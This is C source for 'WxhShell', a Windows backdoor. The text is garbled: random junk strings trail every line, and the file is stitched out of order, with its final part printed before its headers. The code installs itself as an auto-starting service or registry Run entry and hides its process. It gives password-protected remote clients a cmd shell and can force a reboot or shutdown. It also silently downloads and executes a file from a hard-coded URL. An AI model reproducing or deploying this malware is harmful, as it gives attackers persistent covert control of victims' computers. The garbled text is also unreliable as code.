    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V1U[p3J-S  
    else { p&27|1pZm  
    closesocket(wsh); ?b$zuJ]  
    ExitThread(0); BC[d={_-  
    } pU'sADC  
    break; ^( VB5p  
    }  aj B  
  // 获取shell ',%&DA2  
  case 's': { $yK!Q)e:  
    CmdShell(wsh); LP_F"?4  
    closesocket(wsh); @ ]3Rw[% z  
    ExitThread(0);  e) (|  
    break; J8Db AB4X  
  } 8dB~09Z7  
  // 退出 F}[;ytmUS  
  case 'x': { (}8 ;3pp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K)@Buu&,p  
    CloseIt(wsh); tAi9mm;k  
    break; X*q C:]e  
    } R/YL1s  
  // 离开 3?(p;  
  case 'q': { !AHm+C_=Lg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :_zKUv]  
    closesocket(wsh); .?j8{>  
    WSACleanup(); O{R5<"g  
    exit(1); jG :R\D}0  
    break; g3rFJc  
        } 3dphS ^X  
  } 7T Bo*-!  
  } cyE2=  
C^tC} n1D(  
  // 提示信息 "c*|vE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h;M2yl Ou.  
} O~xmz!?=  
  } #4u; `j"4=  
zghm2{:`?g  
  return; I\23as0q  
} ufPQ~,.  
TZ2f-KI  
// shell模块句柄 B6o AW,3  
int CmdShell(SOCKET sock) Q.AM  
{ !m2k0|9  
STARTUPINFO si; q Q8l8  
ZeroMemory(&si,sizeof(si)); 5al{[mi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Shd,{Z)-Tg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }YO}LQ-|  
PROCESS_INFORMATION ProcessInfo; w}b+vh^3Wy  
char cmdline[]="cmd"; PEl]HI_H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7A-rF U$  
  return 0; 6iWuBsal  
} vm4oaVi  
W'$~mK\  
// 自身启动模式 `s$@6r$  
int StartFromService(void) 6f>HE'N  
{ `yXy T^  
typedef struct }VRo:sJb  
{ 5i?U-  
  DWORD ExitStatus; 0=DawJ9  
  DWORD PebBaseAddress; I,;)pWX=@  
  DWORD AffinityMask; )O Cr6UR  
  DWORD BasePriority; t |hmEHUk  
  ULONG UniqueProcessId; bwFc>{Wo5  
  ULONG InheritedFromUniqueProcessId; !Ua#smZ  
}   PROCESS_BASIC_INFORMATION; GAlO<Mu  
KRe=n3 1  
PROCNTQSIP NtQueryInformationProcess; }D O#{@af  
Y."[k&P-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ja2]VbB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dr o42#$Mo  
opC11c/  
  HANDLE             hProcess; |M_Bbo@ud  
  PROCESS_BASIC_INFORMATION pbi; 48`<{|r{  
1<"kN^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f7s.\  
  if(NULL == hInst ) return 0; Dn?L   
jGCW^#GE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wSMgBRV#^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CHB{P\WF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "/"k50%  
='j  
  if (!NtQueryInformationProcess) return 0; Z5=!R$4  
V'$ eun  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4J1Q])G9  
  if(!hProcess) return 0; fZO /HzX  
/'(P{O>{j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E=d[pI,e  
<k!G%R<9  
  CloseHandle(hProcess); #p >PNW-  
5UbVg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W>y_q  
if(hProcess==NULL) return 0; KI{u:Lbi  
hl+Yr)0\  
HMODULE hMod; 5 \J;EWTU  
char procName[255]; oSoG&4  
unsigned long cbNeeded; K\q/JuDfc  
4hs4W,2!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eC-TZH@  
P +SCX#{y  
  CloseHandle(hProcess); T Bco  
|D~MS`~qd5  
if(strstr(procName,"services")) return 1; // 以服务启动 F t}tIP7  
')+EW" e  
  return 0; // 注册表启动 #C`!yU6(  
} n_<]9  
ORoraEK  
// 主模块 5a/)|  
int StartWxhshell(LPSTR lpCmdLine) QQ9Q[c  
{ rSk $]E]Z  
  SOCKET wsl; JoYzC8/r  
BOOL val=TRUE; (ni$wjq=z^  
  int port=0; x1~`Z}LX0  
  struct sockaddr_in door; r/e&}!  
DiX4wmQ  
  if(wscfg.ws_autoins) Install(); $4"OD"Z Cq  
.H&;pOf  
port=atoi(lpCmdLine); %WNy=V9txp  
oKac~}_KL  
if(port<=0) port=wscfg.ws_port; ^cNP ?7g7  
mR^D55k  
  WSADATA data; k#.co~kS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @&+ 1b=  
<3bh-)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K02./ut-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2gGJ:,RC$  
  door.sin_family = AF_INET; {e^llfj$#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tla*V#:Ve  
  door.sin_port = htons(port); ;,1i,?  
k|V{jB G"@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 580t@?  
closesocket(wsl); =h)H`  
return 1; +CkK4<dF  
} q )[g VL  
9&tV#=s  
  if(listen(wsl,2) == INVALID_SOCKET) { J}x5Ko@  
closesocket(wsl); Xw%z#6l  
return 1;  -<sXvn  
} x>@UqUJV  
  Wxhshell(wsl); VtVnht1  
  WSACleanup();  JeA}d  
 }oG&zw  
return 0; :\[F=  
0ePZxOSjD  
} ^o 5q- ;a  
pkoHi'}}$  
// 以NT服务方式启动 u{ng\d*KE}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J L3A/^  
{ ,P|PPx%@  
DWORD   status = 0; 1pK7EK3R  
  DWORD   specificError = 0xfffffff; nxt1Y04,H  
cZYX[.oIB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )mEF_ &  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uzo}?X#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $lqV(s  
  serviceStatus.dwWin32ExitCode     = 0; jmIP c3O0  
  serviceStatus.dwServiceSpecificExitCode = 0; 'e*C^(6  
  serviceStatus.dwCheckPoint       = 0; >i~c>+R  
  serviceStatus.dwWaitHint       = 0; tx@Q/ou`\P  
pmS=$z;I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n'gfB]H[  
  if (hServiceStatusHandle==0) return; nRGH58  
^vPa{+N  
status = GetLastError(); f6XWA_[i@  
  if (status!=NO_ERROR) uO6_lOT9n  
{ &ke4":7X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ";~#epPkX  
    serviceStatus.dwCheckPoint       = 0; /[q@=X&  
    serviceStatus.dwWaitHint       = 0; ,[~EThcq  
    serviceStatus.dwWin32ExitCode     = status; l^_X?L@  
    serviceStatus.dwServiceSpecificExitCode = specificError; `/U:u9H9v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gc'H F"w  
    return; !cpBX>{w  
  } >|s=l`"Xz  
(ZnA#%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0nS6<:  
  serviceStatus.dwCheckPoint       = 0; IE6/ E  
  serviceStatus.dwWaitHint       = 0; hYV{N7$U|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cfj*[i4  
} `{/=i|6  
arB$&s  
// 处理NT服务事件,比如:启动、停止 zumRbrz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M3Z yf  
{ 6k[u0b`  
switch(fdwControl) S `[8TZ  
{ aX|`G]PhdI  
case SERVICE_CONTROL_STOP: uC3$iY:_e  
  serviceStatus.dwWin32ExitCode = 0; 6/z}-;,W'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fh "S[e  
  serviceStatus.dwCheckPoint   = 0; ReRRFkO"2  
  serviceStatus.dwWaitHint     = 0; }PXWRv.gW  
  { f|`{P P`\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YGHWO#!Gp  
  } Cn"N5(i  
  return; gk&?h7P"<  
case SERVICE_CONTROL_PAUSE: B8PF}Mf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #Kl;iY:n  
  break; 3w@)/ujn  
case SERVICE_CONTROL_CONTINUE: S HvML  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zx!1jS  
  break; i{8=;  
case SERVICE_CONTROL_INTERROGATE: z}&<D YD  
  break; eQc!@*:8U  
}; e nNn*.*|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rYLNV!_  
} ^;2L`U@5  
}$o%^ "[  
// 标准应用程序主函数 v!x[1[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -or9!:8  
{ R%Z} J R.  
wOsr#t7  
// 获取操作系统版本 [9L(4F20  
OsIsNt=GetOsVer(); ?>&8,p17  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^_oLhNoez2  
;A C] *  
  // 从命令行安装 Ue%0.G|<W  
  if(strpbrk(lpCmdLine,"iI")) Install(); lA1R$  
7HF\)cz2  
  // 下载执行文件 KGJB.<Be  
if(wscfg.ws_downexe) { cqq+#39iC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j]P|iL  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Q`ce!~$  
} \-B>']:R4  
|gaZq!l  
if(!OsIsNt) { zL|^5p`K  
// 如果时win9x,隐藏进程并且设置为注册表启动 )SQ g  
HideProc(); E|6|m8  
StartWxhshell(lpCmdLine); ge` J>2  
} ZN?(lt)u9  
else vQ h'C.  
  if(StartFromService()) qM`SN4C  
  // 以服务方式启动 ZTun{Dw{  
  StartServiceCtrlDispatcher(DispatchTable); qg|+BIi Uz  
else :Cuae?O,  
  // 普通方式启动 ,s2.l/5r;C  
  StartWxhshell(lpCmdLine); YK-R|z6K  
&sRyM'XI  
return 0; N>z8\y  
}  WsoB!m  
Mqpo S  
*dTw$T#  
1Zecl);O{  
=========================================== A#i-C+"}  
2H /a&uo@n  
_#+9)*A  
.{} t[U  
2rH6ap  
{> }U>V  
" ANNL7Z3C  
ZO`d  
#include <stdio.h> 25TEbp[dy  
#include <string.h> P-mrH  
#include <windows.h> i|| YD-hkK  
#include <winsock2.h> !F8 !]"*  
#include <winsvc.h> lL^7x  
#include <urlmon.h> &a:aW;^A7  
N+tS:$V  
#pragma comment (lib, "Ws2_32.lib") {/Cd^CK  
#pragma comment (lib, "urlmon.lib") $DVy$)a!u  
D9Z5g3s7R  
#define MAX_USER   100 // 最大客户端连接数 _&M>f?l  
#define BUF_SOCK   200 // sock buffer `+6HHtF  
#define KEY_BUFF   255 // 输入 buffer A gPg0(G  
wVvU]UT  
#define REBOOT     0   // 重启 HqgH\  
#define SHUTDOWN   1   // 关机 NanU%# &  
W6PGv1iaW>  
#define DEF_PORT   5000 // 监听端口 hi=U  
ZQ:Y5 ph  
#define REG_LEN     16   // 注册表键长度 7-LeJRB  
#define SVC_LEN     80   // NT服务名长度 `7j,njCX.  
5Q88OxH  
// 从dll定义API MnQ_]c C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i!iODt3k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v!uLd.(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HI?>]zz|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [q@%)F  
4EK[gM8  
// wxhshell配置信息 zM'-2,  
struct WSCFG { BO_^3Me*  
  int ws_port;         // 监听端口 rQqtejcfx  
  char ws_passstr[REG_LEN]; // 口令 7[)(;-  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?/wloLS47  
  char ws_regname[REG_LEN]; // 注册表键名 Dmw,Bi*  
  char ws_svcname[REG_LEN]; // 服务名 f[RnL#*xJU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <ZiO[dEV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h(L5MZs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6i4j(P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V;V9_qP,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c1^3lgPv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p c],H  
+D@R'$N  
}; ?,NAihN]  
oW_WW$+N  
// default Wxhshell configuration (nzt}i0  
struct WSCFG wscfg={DEF_PORT, x#^kv)  
    "xuhuanlingzhe", OrBFe *2y  
    1, c>g%oE  
    "Wxhshell", W@tLT[}CG  
    "Wxhshell", :-Pj )Y{I  
            "WxhShell Service", )N/KQ[W  
    "Wrsky Windows CmdShell Service", 7Tbkti;  
    "Please Input Your Password: ", F)@<ZE  
  1, \9p;md`  
  "http://www.wrsky.com/wxhshell.exe", 6yb<4@LOb  
  "Wxhshell.exe" v^tKT&  
    }; Ie~~LU  
EkX6> mo  
// 消息定义模块 0#JBz\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R<=t{vTJ5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q ZlUUj\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6D0,ME#  
char *msg_ws_ext="\n\rExit."; G!\x c  
char *msg_ws_end="\n\rQuit."; ($s{em4L  
char *msg_ws_boot="\n\rReboot..."; }dz(DP d  
char *msg_ws_poff="\n\rShutdown...";  b\2"1m0H  
char *msg_ws_down="\n\rSave to "; F0\ry "(t  
&u8c!;y$b  
char *msg_ws_err="\n\rErr!"; "DpQnhvbB  
char *msg_ws_ok="\n\rOK!"; JF gN  
#t O!3=0  
char ExeFile[MAX_PATH]; Pz 'Hqvd  
int nUser = 0; ?<;<#JN  
HANDLE handles[MAX_USER]; ?KN_J  
int OsIsNt; 3(%,2  
Fo#*_y5\  
SERVICE_STATUS       serviceStatus; b~gF,^w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LPO" K"'w  
xh0A2bw'OP  
// 函数声明 s__g*%@B b  
int Install(void); 5IK@<#wE  
int Uninstall(void); 2. _cEY34  
int DownloadFile(char *sURL, SOCKET wsh); s<b7/;w'  
int Boot(int flag); 6,PL zZ5  
void HideProc(void); 3[0:,^a  
int GetOsVer(void); Ei-OuDM;)  
int Wxhshell(SOCKET wsl); Q 1Ao65  
void TalkWithClient(void *cs); l&B'.6XKs  
int CmdShell(SOCKET sock); ~}w 8UO  
int StartFromService(void); H~Cfni;  
int StartWxhshell(LPSTR lpCmdLine); ^= G+]$8  
KfNXX>'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %u}sVRJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vknFtpx  
BE~[%6T7  
// 数据结构和表定义 ;"Y6&YP<  
SERVICE_TABLE_ENTRY DispatchTable[] = #F@7>hd1  
{ M6iKl  
{wscfg.ws_svcname, NTServiceMain}, b G)MG0<TT  
{NULL, NULL} BP$#a #  
}; "+&<Qd2  
;>N ~ ,Q  
// 自我安装 z3]U% y(,  
int Install(void) R 28*  
{ Mk[`HEO  
  char svExeFile[MAX_PATH]; 27:x5g?  
  HKEY key;  4&D="GA  
  strcpy(svExeFile,ExeFile); $Stu-l1e a  
OB22P%  
// 如果是win9x系统,修改注册表设为自启动 ]||=<!^kn  
if(!OsIsNt) { ?W_U{=anl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @g~sgE}#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aehMLl9cl  
  RegCloseKey(key); OWsYE?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #9OP.4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sjm79/  
  RegCloseKey(key); W+?[SnHL/  
  return 0; 9DX3]Z\7X  
    } G,*s9P]1  
  } 98^6{p  
} "'Uk0>d=_I  
else { B:cOcd?p  
Q%^bA,$&D  
// 如果是NT以上系统,安装为系统服务 6l'y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h>0<@UP  
if (schSCManager!=0) ?` i/  
{ 3:1 c_   
  SC_HANDLE schService = CreateService u7WM6X  
  ( 4sjr\9IDC  
  schSCManager, Bq_P?Q+\  
  wscfg.ws_svcname, 1o>R\g3  
  wscfg.ws_svcdisp, 8[;oUVb5  
  SERVICE_ALL_ACCESS, 6a?p?I K^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o[hP&9>q  
  SERVICE_AUTO_START, 79H+~1Az  
  SERVICE_ERROR_NORMAL, (14kR  
  svExeFile, B}+9U  
  NULL, uFZB8+  
  NULL, nD\os[ 3  
  NULL, [dlH t;S  
  NULL, .N&}<T[  
  NULL mcr#Ze  
  ); "%*lE0Tx  
  if (schService!=0) *J5RueUG  
  { |wQZ~Ux:  
  CloseServiceHandle(schService); X388Gs;e  
  CloseServiceHandle(schSCManager);  twmJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n5*7~K "C  
  strcat(svExeFile,wscfg.ws_svcname); a <TL&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )Cvzj<Q0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IQe[ CcM  
  RegCloseKey(key); :<k|u!b}y  
  return 0; c0q)  
    } 4!vUksM  
  } O7'3}P;  
  CloseServiceHandle(schSCManager); 2EwWV 0BS  
} gecT*^  
} Gj`Y2X2r  
cE5Zxcn  
return 1; ?^ezEpW  
} `sy &dyM  
3,I >.3  
// 自我卸载 b.q"s6u  
int Uninstall(void) A>%UYA  
{ h^kNM8  
  HKEY key; GY]6#>D#7  
}, &,Dt  
if(!OsIsNt) { vx}Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ej09RO"pB  
  RegDeleteValue(key,wscfg.ws_regname); 5|G3t`$pa  
  RegCloseKey(key); #aY<J:Nx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .y9rM{h}b  
  RegDeleteValue(key,wscfg.ws_regname); fhIj+/{_O  
  RegCloseKey(key); }lUpC}aq_  
  return 0; XqS*;Zj0  
  } Ty0T7D   
} -u9yR"n\}  
} Tv,.  
else { 9$V_=Bo  
9^#gVTGXv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0gD59N'C  
if (schSCManager!=0) K6*UFO4}i  
{ vq:OH H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i2a"J&,6O  
  if (schService!=0) L_1_y, 0N  
  { 1 lCikS^c  
  if(DeleteService(schService)!=0) { Jo aDX ,  
  CloseServiceHandle(schService); |\n)<r_  
  CloseServiceHandle(schSCManager); #IhLpO  
  return 0; qL5#.bR  
  } ;AGs1j  
  CloseServiceHandle(schService); 3k*:B~1  
  } :CST!+)o  
  CloseServiceHandle(schSCManager); C1B3VG  
} ,x"yZ  
} yb{{ z@  
ElR&scXi__  
return 1; +<WRB\W  
} NU&^7[!yl  
x$?7)F&z  
// 从指定url下载文件 LF)a"Sh  
int DownloadFile(char *sURL, SOCKET wsh) G q:4rG|  
{ T ~~[a|bLa  
  HRESULT hr; z5&%T}$tJ  
char seps[]= "/"; g;#KBxE  
char *token; 2C33;?M  
char *file; M|5]#2J_2  
char myURL[MAX_PATH]; JlDDM %  
char myFILE[MAX_PATH]; >+jbMAYSq  
acYoOW1G  
strcpy(myURL,sURL); +V);'"L  
  token=strtok(myURL,seps); U]!.~ji3  
  while(token!=NULL) xe gL!  
  { !E {GcK  
    file=token; |Iok(0V  
  token=strtok(NULL,seps); [mf7>M`p]@  
  }  J"Y   
iPY vePQ  
GetCurrentDirectory(MAX_PATH,myFILE); <m /b]|  
strcat(myFILE, "\\"); yg-FJ/  
strcat(myFILE, file); MpIw^a3(r  
  send(wsh,myFILE,strlen(myFILE),0); HEB/\  
send(wsh,"...",3,0); mB^I @oZ*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %V<F<  
  if(hr==S_OK) @Tfwh/UN  
return 0; | 2.e0Z]k  
else j`|^s}8t  
return 1; Ld}(*-1i  
Fi?Q 4b  
} N?=qEX|R  
?dKa;0\  
// 系统电源模块 uO_,n  
int Boot(int flag) FJd8s*  
{ v(Bp1~PPZM  
  HANDLE hToken; 6}i&6@Snq?  
  TOKEN_PRIVILEGES tkp; wCU&Xb$F  
),;D;LI{S  
  if(OsIsNt) { TvWU[=4Yk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +\k9w.[:/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UR/qVO?  
    tkp.PrivilegeCount = 1; _<%\h?W$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )+w/\~@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VM!-I8t  
if(flag==REBOOT) { ~N{_N95!2@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uhTKCR~  
  return 0; ~.W=  
} Wd^lt7(j  
else { OC?Zw@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 18O@ 1M  
  return 0; '"xL}8HX}  
} 4j. |Y  
  } qu<B%v  
  else { >w2Q 1!  
if(flag==REBOOT) { (zS2Ndp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^.@yF;H  
  return 0; K9C@dvFH  
} H b A3*2  
else { Z{a{HX[Jx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ![a/kj  
  return 0; Wkg*J3O  
} SaR}\Up  
} 7wiK.99  
=`]|/<=9'U  
return 1; pYLY;qkG"  
} Mt[Bq6}ZD  
P1 7>6)a  
// win9x进程隐藏模块 om".j  
void HideProc(void) ` $.X[\*U  
{ `z3|M#r\;  
a9D gy_!Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -SQJH}zCT+  
  if ( hKernel != NULL ) /FP~jV!z  
  { d7W%zg\T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FX|0R#4vm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FylWbQU9  
    FreeLibrary(hKernel); /'Qu u)~  
  } *=$[}!YG  
/'&.aGW4%  
return; Wj&<"Z6'm(  
} k_*XJ<S!Y  
VO. -.  
// 获取操作系统版本 *D=K{bUe'  
int GetOsVer(void) 0)A=+zSS1  
{ wUZQB1$F  
  OSVERSIONINFO winfo; 4NpHX+=P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T>\nWancQM  
  GetVersionEx(&winfo); %PQldPL8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H_% d3 RI  
  return 1; [<D+p qh  
  else $:f.Krj  
  return 0; tk`: CT *  
} 6-*~ t8  
457fT|  
// 客户端句柄模块 tXf}jU}  
int Wxhshell(SOCKET wsl) ?vZWUWa  
{ vQ:x% =]  
  SOCKET wsh; 'v'` F*6  
  struct sockaddr_in client; 8l U;y)Z  
  DWORD myID; -d|BO[4j  
5wzQ?07T_  
  while(nUser<MAX_USER) Hi]vHG(  
{ ojN`#%X  
  int nSize=sizeof(client); ?@Z7O.u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { A:LAAf[6  
  if(wsh==INVALID_SOCKET) return 1; Q?* nuE  
H{j~ihq7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wD<vg3e[H  
if(handles[nUser]==0) ]~?S~l%  
  closesocket(wsh); {[Uti^)m%  
else %:" RzHN  
  nUser++; Jq# [uX  
  } 9Tzc(yCY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "NxOOLL  
J*}VV9H  
  return 0; ijvNmn1k  
} r@|R-Binz  
T1lXYhAWS  
// 关闭 socket ISpeV  
void CloseIt(SOCKET wsh) i'M^ez)u  
{ !?BW_vY  
closesocket(wsh);  AGh~8[  
nUser--; 536^PcJlN  
ExitThread(0); P7}t lHX  
} lP}od  
:0nK`$'  
// 客户端请求句柄 _TZW|Dh-2F  
void TalkWithClient(void *cs) ,"@w>WL<9  
{ Vn)%C_-]A  
|tG05+M  
  SOCKET wsh=(SOCKET)cs; D4AEZgC F,  
  char pwd[SVC_LEN]; IgLVn<5n  
  char cmd[KEY_BUFF]; nped  
char chr[1]; 'GrRuT<  
int i,j; ?$<SCN =  
d-hbvLn  
  while (nUser < MAX_USER) { XXXl jh6  
s0gJ f[  
if(wscfg.ws_passstr) { <Cu'!h_nL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;JAK[o8i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vAi"$e  
  //ZeroMemory(pwd,KEY_BUFF); NV:>a  
      i=0; Mx^y>\X)v  
  while(i<SVC_LEN) { ktN%!Mh\  
kclp}  
  // 设置超时 XlRw Z/Wc  
  fd_set FdRead; d0'7efC+  
  struct timeval TimeOut; HpW" lYW4  
  FD_ZERO(&FdRead); T48BRVX-F  
  FD_SET(wsh,&FdRead); u06tDJ[  
  TimeOut.tv_sec=8; ]AFj&CteZ/  
  TimeOut.tv_usec=0; l &}piC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~GSpl24W<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /CIx$G  
IS-}:~Pi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Aqn[1{_O  
  pwd=chr[0]; ,r@xPZPz:e  
  if(chr[0]==0xd || chr[0]==0xa) {  NI^{$QMj  
  pwd=0; "P MO  
  break; '-`O. 4u  
  } |drf"lX<{  
  i++; M#`{>R|  
    } <sa #|Y$  
yU*u  
  // 如果是非法用户,关闭 socket % =y;L:S\p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :){)JZ}-95  
} 5xhM0 (  
$6W3EOl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  dFzYOG1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a-fv[oB  
xne]Q(B>  
while(1) { >Q&CgGpW$  
Dq|GQdZ>o  
  ZeroMemory(cmd,KEY_BUFF); P%iP:16  
*K`x;r  
      // 自动支持客户端 telnet标准   \e_IFISC  
  j=0; {JXf*IJ  
  while(j<KEY_BUFF) { kl=xu3j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b,9@P&=:2  
  cmd[j]=chr[0]; 2v4W6R  
  if(chr[0]==0xa || chr[0]==0xd) { SBC~QD>L+  
  cmd[j]=0; ?fB5t;~E  
  break; Xj%,xm>}!u  
  } 5Wo5 n7o  
  j++; lBS"3s384  
    } g#w`J \iz  
s} s|~  
  // 下载文件 tbg*_ZQO u  
  if(strstr(cmd,"http://")) { 3eWJt\}?B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2H6:np |O  
  if(DownloadFile(cmd,wsh)) \/n+j!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VXA[ TIqp  
  else f#1/}Hq/I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cc2MYm8  
  } 7aV$YuL)X~  
  else { ,'=hjIel  
{aoM JJq  
    switch(cmd[0]) { 0fA=_=A,  
  B& "RS  
  // 帮助 fSbS(a  
  case '?': { '(tj[&aL  
